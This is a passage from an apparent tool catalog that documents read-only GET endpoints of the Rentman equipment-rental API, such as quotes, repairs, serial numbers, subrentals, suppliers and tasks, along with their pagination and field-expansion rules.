at least one other item. There are two types of links. The `file_item` and `file_itemtype` describe the item where the file originates from, for example a quotation or an import. If a file is attached in the user interface to another item, e.g. a project or an equipment item, this is done using the `item` and `itemtype` field. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /quotes/{id}/files GET /api/v1/rentman/quotes/{id}/files. Scopes: api. rentman_get_quotes_by_id_invoicelines (read) — Get InvoiceLine collection -- Invoice lines are generated lines based on tax rates and ledgers of the items within an invoice. They sum up to the total of the invoice. Useful for exporting to accounting systems. It is currently not possible to get the exact same details which are displayed on the invoice pdf, since that depends on the used document template. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /quotes/{id}/invoicelines GET /api/v1/rentman/quotes/{id}/invoicelines. Scopes: api. rentman_get_quotes_by_id_tasks (read) — Get Task collection -- With this endpoint, you can read, write, update and delete tasks. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /quotes/{id}/tasks GET /api/v1/rentman/quotes/{id}/tasks. Scopes: api. rentman_get_ratefactors (read) — Get CrewRateFactor collection -- Represents the rate factors for the crew rates. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /ratefactors GET /api/v1/rentman/ratefactors. Scopes: api. rentman_get_ratefactors_by_id (read) — Get CrewRateFactor item. Single-item response: the item is under `data`. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /ratefactors/{id} GET /api/v1/rentman/ratefactors/{id}. Scopes: api. rentman_get_rates (read) — Get CrewRate collection -- Represents crew rates. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /rates GET /api/v1/rentman/rates. Scopes: api. rentman_get_rates_by_id (read) — Get CrewRate item. Single-item response: the item is under `data`. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /rates/{id} GET /api/v1/rentman/rates/{id}. Scopes: api. rentman_get_rates_by_id_ratefactors (read) — Get CrewRateFactor collection -- Represents the rate factors for the crew rates. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /rates/{id}/ratefactors GET /api/v1/rentman/rates/{id}/ratefactors. Scopes: api. rentman_get_repairs (read) — Get Repair collection -- With this endpoint you can retrieve repairs and their information. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /repairs GET /api/v1/rentman/repairs. Scopes: api. rentman_get_repairs_by_id (read) — Get Repair item. Single-item response: the item is under `data`. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /repairs/{id} GET /api/v1/rentman/repairs/{id}. Scopes: api. rentman_get_repairs_by_id_file_folders (read) — Get FileFolder collection -- This endpoint exposes the folders that files can be in. A file folder is attached in the user interface to another item, e.g. a project or an equipment item, this is done using the `item` and `itemtype` field. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /repairs/{id}/file_folders GET /api/v1/rentman/repairs/{id}/file_folders. Scopes: api. rentman_get_repairs_by_id_files (read) — Get File collection -- All user-generated documents and uploaded files are available in this endpoint. Files are always linked to at least one other item. There are two types of links. The `file_item` and `file_itemtype` describe the item where the file originates from, for example a quotation or an import. If a file is attached in the user interface to another item, e.g. a project or an equipment item, this is done using the `item` and `itemtype` field. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /repairs/{id}/files GET /api/v1/rentman/repairs/{id}/files. Scopes: api. rentman_get_repairs_by_id_tasks (read) — Get Task collection -- With this endpoint, you can read, write, update and delete tasks. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /repairs/{id}/tasks GET /api/v1/rentman/repairs/{id}/tasks. Scopes: api. rentman_get_serialnumbers (read) — Get SerialNumber collection -- Represents serial numbers, which are specific individual equipment pieces. This is a sub-item of Equipment and is always associated with a single Equipment item. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /serialnumbers GET /api/v1/rentman/serialnumbers. Scopes: api. rentman_get_serialnumbers_by_id (read) — Get SerialNumber item. Single-item response: the item is under `data`. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /serialnumbers/{id} GET /api/v1/rentman/serialnumbers/{id}. Scopes: api. rentman_get_serialnumbers_by_id_actualcontent (read) — Get ActualContent collection -- Represents the actual content of serialized physical combinations. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /serialnumbers/{id}/actualcontent GET /api/v1/rentman/serialnumbers/{id}/actualcontent. Scopes: api. rentman_get_serialnumbers_by_id_equipmentassignedserials (read) — Get EquipmentAssignedSerials collection -- With this endpoint, you can retrieve the serial numbers assigned to serialized physical combinations together with their information. This endpoint only returns serials which have been assigned manually from the serial numbers tab, not actual content. Please see <a href="https://support.rentman.io/hc/en-us/articles/360018672100-How-to-add-serial-numbers-to-physical-combinations">this article</a> for more information. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /serialnumbers/{id}/equipmentassignedserials GET /api/v1/rentman/serialnumbers/{id}/equipmentassignedserials. Scopes: api. rentman_get_serialnumbers_by_id_file_folders (read) — Get FileFolder collection -- This endpoint exposes the folders that files can be in. A file folder is attached in the user interface to another item, e.g. a project or an equipment item, this is done using the `item` and `itemtype` field. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /serialnumbers/{id}/file_folders GET /api/v1/rentman/serialnumbers/{id}/file_folders. Scopes: api. rentman_get_serialnumbers_by_id_files (read) — Get File collection -- All user-generated documents and uploaded files are available in this endpoint. Files are always linked to at least one other item. There are two types of links. The `file_item` and `file_itemtype` describe the item where the file originates from, for example a quotation or an import. If a file is attached in the user interface to another item, e.g. a project or an equipment item, this is done using the `item` and `itemtype` field. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /serialnumbers/{id}/files GET /api/v1/rentman/serialnumbers/{id}/files. Scopes: api. rentman_get_serialnumbers_by_id_tasks (read) — Get Task collection -- With this endpoint, you can read, write, update and delete tasks. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /serialnumbers/{id}/tasks GET /api/v1/rentman/serialnumbers/{id}/tasks. Scopes: api. rentman_get_statuses (read) — Get Status collection -- Get a status objects. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /statuses GET /api/v1/rentman/statuses. Scopes: api. rentman_get_statuses_by_id (read) — Get Status item. Single-item response: the item is under `data`. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /statuses/{id} GET /api/v1/rentman/statuses/{id}. Scopes: api. rentman_get_stocklocations (read) — Get StockLocation collection -- With this endpoint, you can retrieve the stock locations and their information. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /stocklocations GET /api/v1/rentman/stocklocations. Scopes: api. rentman_get_stocklocations_by_id (read) — Get StockLocation item. Single-item response: the item is under `data`. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /stocklocations/{id} GET /api/v1/rentman/stocklocations/{id}. Scopes: api. rentman_get_stocklocations_by_id_vehicles (read) — Get Vehicle collection -- Represents vehicles. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /stocklocations/{id}/vehicles GET /api/v1/rentman/stocklocations/{id}/vehicles. Scopes: api. rentman_get_stockmovements (read) — Get StockMovement collection -- Stock movements are all the changes that happen to the stock levels of an equipment. Those changes include manual changes, purchases, sales, transfers, stock corrections, repairs, marking lost or found, imports, stock counts. When creating or updating stock movements via the API only stock movements of type 'manual' are writable. Only stock movements for bulk items are available though the API. Stock movements for serialized equipment may be implemented at a later stage. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /stockmovements GET /api/v1/rentman/stockmovements. Scopes: api. rentman_get_stockmovements_by_id (read) — Get StockMovement item. Single-item response: the item is under `data`. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /stockmovements/{id} GET /api/v1/rentman/stockmovements/{id}. Scopes: api. rentman_get_subprojects (read) — Get Subproject collection -- Subprojects are part of projects. All projects include at least one subproject. Information that differs from subproject to subproject, e.g. location, is retrieved in this endpoint. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /subprojects GET /api/v1/rentman/subprojects. Scopes: api. rentman_get_subprojects_by_id (read) — Get Subproject item. Single-item response: the item is under `data`. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /subprojects/{id} GET /api/v1/rentman/subprojects/{id}. Scopes: api. rentman_get_subprojects_by_id_file_folders (read) — Get FileFolder collection -- This endpoint exposes the folders that files can be in. A file folder is attached in the user interface to another item, e.g. a project or an equipment item, this is done using the `item` and `itemtype` field. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /subprojects/{id}/file_folders GET /api/v1/rentman/subprojects/{id}/file_folders. Scopes: api. rentman_get_subprojects_by_id_projectcrew (read) — Get ProjectCrew collection -- Represents the planning of crewmembers on Functions. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /subprojects/{id}/projectcrew GET /api/v1/rentman/subprojects/{id}/projectcrew. Scopes: api. rentman_get_subprojects_by_id_projectequipment (read) — Get ProjectEquipment collection -- Represents equipment items planned in a project. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /subprojects/{id}/projectequipment GET /api/v1/rentman/subprojects/{id}/projectequipment. Scopes: api. rentman_get_subprojects_by_id_projectequipmentgroup (read) — Get ProjectEquipmentGroup collection -- Equipment groups of a project. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /subprojects/{id}/projectequipmentgroup GET /api/v1/rentman/subprojects/{id}/projectequipmentgroup. Scopes: api. rentman_get_subprojects_by_id_projectfunctiongroups (read) — Get ProjectFunctionGroup collection -- Function groups inside a project. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /subprojects/{id}/projectfunctiongroups GET /api/v1/rentman/subprojects/{id}/projectfunctiongroups. Scopes: api. rentman_get_subprojects_by_id_projectvehicles (read) — Get ProjectVehicle collection -- Represents the vehicles planned for a function. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /subprojects/{id}/projectvehicles GET /api/v1/rentman/subprojects/{id}/projectvehicles. Scopes: api. rentman_get_subrentalequipment (read) — Get SubrentalEquipment collection -- With this endpoint you can retrieve information about subrental equipment. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /subrentalequipment GET /api/v1/rentman/subrentalequipment. Scopes: api. rentman_get_subrentalequipment_by_id (read) — Get SubrentalEquipment item. Single-item response: the item is under `data`. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /subrentalequipment/{id} GET /api/v1/rentman/subrentalequipment/{id}. Scopes: api. rentman_get_subrentalequipmentgroup (read) — Get SubrentalEquipmentGroup collection -- With this endpoint you can retrieve information about subrental equipment groups. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /subrentalequipmentgroup GET /api/v1/rentman/subrentalequipmentgroup. Scopes: api. rentman_get_subrentalequipmentgroup_by_id (read) — Get SubrentalEquipmentGroup item. Single-item response: the item is under `data`. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /subrentalequipmentgroup/{id} GET /api/v1/rentman/subrentalequipmentgroup/{id}. Scopes: api. rentman_get_subrentalequipmentgroup_by_id_subrentalequipment (read) — Get SubrentalEquipment collection -- With this endpoint you can retrieve information about subrental equipment. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /subrentalequipmentgroup/{id}/subrentalequipment GET /api/v1/rentman/subrentalequipmentgroup/{id}/subrentalequipment. Scopes: api. rentman_get_subrentals (read) — Get Subrental collection -- With this endpoint you can retrieve subrentals and their information. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /subrentals GET /api/v1/rentman/subrentals. Scopes: api. rentman_get_subrentals_by_id (read) — Get Subrental item. Single-item response: the item is under `data`. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /subrentals/{id} GET /api/v1/rentman/subrentals/{id}. Scopes: api. rentman_get_subrentals_by_id_file_folders (read) — Get FileFolder collection -- This endpoint exposes the folders that files can be in. A file folder is attached in the user interface to another item, e.g. a project or an equipment item, this is done using the `item` and `itemtype` field. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /subrentals/{id}/file_folders GET /api/v1/rentman/subrentals/{id}/file_folders. Scopes: api. rentman_get_subrentals_by_id_files (read) — Get File collection -- All user-generated documents and uploaded files are available in this endpoint. Files are always linked to at least one other item. There are two types of links. The `file_item` and `file_itemtype` describe the item where the file originates from, for example a quotation or an import. If a file is attached in the user interface to another item, e.g. a project or an equipment item, this is done using the `item` and `itemtype` field. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /subrentals/{id}/files GET /api/v1/rentman/subrentals/{id}/files. Scopes: api. rentman_get_subrentals_by_id_subrentalequipment (read) — Get SubrentalEquipment collection -- With this endpoint you can retrieve information about subrental equipment. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /subrentals/{id}/subrentalequipment GET /api/v1/rentman/subrentals/{id}/subrentalequipment. Scopes: api. rentman_get_subrentals_by_id_subrentalequipmentgroup (read) — Get SubrentalEquipmentGroup collection -- With this endpoint you can retrieve information about subrental equipment groups. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /subrentals/{id}/subrentalequipmentgroup GET /api/v1/rentman/subrentals/{id}/subrentalequipmentgroup. Scopes: api. rentman_get_subrentals_by_id_tasks (read) — Get Task collection -- With this endpoint, you can read, write, update and delete tasks. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /subrentals/{id}/tasks GET /api/v1/rentman/subrentals/{id}/tasks. Scopes: api. rentman_get_subtasks (read) — Get Subtask collection -- With this endpoint, you can read, write, update and delete subtasks. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /subtasks GET /api/v1/rentman/subtasks. Scopes: api. rentman_get_subtasks_by_id (read) — Get Subtask item. Single-item response: the item is under `data`. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /subtasks/{id} GET /api/v1/rentman/subtasks/{id}. Scopes: api. rentman_get_suppliers (read) — Get Supplier collection -- Represents a supplier relationship between a contact and an equipment item. Each supplier entry links a contact to an equipment item, optionally with a purchase price and additional details. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /suppliers GET /api/v1/rentman/suppliers. Scopes: api. rentman_get_suppliers_by_id (read) — Get Supplier item. Single-item response: the item is under `data`. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /suppliers/{id} GET /api/v1/rentman/suppliers/{id}. Scopes: api. rentman_get_suppliers_by_id_file_folders (read) — Get FileFolder collection -- This endpoint exposes the folders that files can be in. A file folder is attached in the user interface to another item, e.g. a project or an equipment item, this is done using the `item` and `itemtype` field. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /suppliers/{id}/file_folders GET /api/v1/rentman/suppliers/{id}/file_folders. Scopes: api. rentman_get_suppliers_by_id_files (read) — Get File collection -- All user-generated documents and uploaded files are available in this endpoint. Files are always linked to at least one other item. There are two types of links. The `file_item` and `file_itemtype` describe the item where the file originates from, for example a quotation or an import. If a file is attached in the user interface to another item, e.g. a project or an equipment item, this is done using the `item` and `itemtype` field. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /suppliers/{id}/files GET /api/v1/rentman/suppliers/{id}/files. Scopes: api. rentman_get_suppliers_by_id_tasks (read) — Get Task collection -- With this endpoint, you can read, write, update and delete tasks. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /suppliers/{id}/tasks GET /api/v1/rentman/suppliers/{id}/tasks. Scopes: api. rentman_get_taskassignments (read) — Get TaskAssignment collection -- With this endpoint, you can read, write, update and delete task assignments. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /taskassignments GET /api/v1/rentman/taskassignments. Scopes: api. rentman_get_taskassignments_by_id (read) — Get TaskAssignment item. Single-item response: the item is under `data`. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /taskassignments/{id} GET /api/v1/rentman/taskassignments/{id}. Scopes: api. rentman_get_tasks (read) — Get Task collection -- With this endpoint, you can read, write, update and delete tasks. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /tasks GET /api/v1/rentman/tasks. Scopes: api. rentman_get_tasks_by_id (read) — Get Task item. Single-item response: the item is under `data`. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /tasks/{id} GET /api/v1/rentman/tasks/{id}. Scopes: api. rentman_get_tasks_by_id_file_folders (read) — Get FileFolder collection -- This endpoint exposes the folders that files can be in. A file folder is attached in the user interface to another item, e.g. a project or an equipment item, this is done using the `item` and `itemtype` field. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /tasks/{id}/file_folders GET /api/v1/rentman/tasks/{id}/file_folders. Scopes: api. rentman_get_tasks_by_id_files (read) — Get File collection -- All user-generated documents and uploaded files are available in this endpoint. Files are always linked to at least one other item. There are two types of links. The `file_item` and `file_itemtype` describe the item where the file originates from, for example a quotation or an import. If a file is attached in the user interface to another item, e.g. a project or an equipment item, this is done using the `item` and `itemtype` field. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` 